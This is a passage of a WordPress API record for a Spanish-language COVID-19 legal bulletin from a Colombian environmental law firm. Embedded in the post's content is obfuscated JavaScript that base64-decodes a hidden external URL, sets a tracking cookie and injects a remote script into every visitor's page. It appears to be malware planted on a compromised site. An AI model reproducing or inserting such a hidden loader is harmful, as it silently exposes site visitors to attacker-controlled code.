key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Bolet\u00edn Informativo Abril 2020 MEDIDAS TOMADAS A CAUSA DEL COVID-19 Medidas para garantizar la atenci\u00f3n y prestaci\u00f3n de servicios por parte de las autoridades y particulares que cumplan funciones p\u00fablicas Decreto 491 de 28-03-2020 \u2013 Ministerio de Justicia y del DerechoEl Decreto aplica a todos los organismos y entidades que conforman las ramas del poder [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18],"tags":[],"class_list":["post-719","post","type-post","status-publish","format-standard","hentry","category-sin-categoria-es"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/posts\/719","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/comments?post=719"}],"version-history":[{"count":4,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/posts\/719\/revisions"}],"predecessor-version":[{"id":2767,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/posts\/719\/revisions\/2767"}],"wp:attachment":[{"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/media?parent=719"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/categories?post=719"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/tags?post=719"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}